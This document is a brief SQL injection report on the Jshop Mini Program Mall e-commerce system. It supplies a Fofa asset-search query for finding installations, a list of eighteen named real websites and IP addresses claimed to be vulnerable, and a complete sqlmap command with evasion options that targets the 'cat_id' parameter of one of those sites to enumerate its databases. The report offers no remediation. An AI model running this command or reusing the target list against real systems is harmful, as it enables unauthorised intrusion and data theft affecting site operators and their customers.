Jshop Mini Program Mall - SQL Injection Vulnerability Report

Products and Manufacturers

Jshop Platform Overview

Multi-platform Support

E-commerce Features

System Architecture

Admin Interface

Manufacturer's Official Website: https://www.jihainet.com/

Fofa Asset Mapping: icon_hash="715502892" || title="Jshop小程序商城"

3,000+

Websites Using This Product

Vulnerability Description

Jshop Mini Program Mall is an open-source e-commerce system that includes WeChat Mini Program, Alipay Mini Program, APP, Official Account, H5, PC, Douyin Mini Program, Toutiao Mini Program, Pipixia Mini Program, and Xigua Video Mini Program, providing excellent mobile e-commerce solutions for enterprises of all sizes.

Vulnerability Details: This product has an SQL injection vulnerability in its implementation, which attackers can exploit to obtain sensitive information from the database.

Example Vulnerable Sites

The following websites are confirmed to be running vulnerable versions of Jshop Mini Program Mall:

https://kitsupplyltd.co.uk

http://clm.bzcw8.com

http://manghe.fangqiuchuanmei.com

https://tieguang.dev.hopex.cn

https://member.hzruda.cn

https://baigou.outramtech.com

https://b2c.jihainet.com

https://82.156.202.11

https://ehs.aiam.top

https://8.138.86.181

https://112.126.109.209

http://8.134.155.135

https://8.136.118.12

http://www.lycxwcdj.com

http://shop.0-2-4.cn

https://lchwchchh.com

https://sucai.mingqinet.cn

https://chelufa.geaktec.com

Vulnerability Exploitation

SQLMap Exploitation Example

python sqlmap.py -u https://ehs.aiam.top/index.php/api.html --data="method=goods.getlist&where={\"cat_id\":\"1*\"}" --dbms=mysql --technique=E --level=5 --risk=3 --random-agent --tamper=randomcase --batch --dbs
                

This command demonstrates how to exploit the SQL injection vulnerability using SQLMap, a popular penetration testing tool.

Exploitation Evidence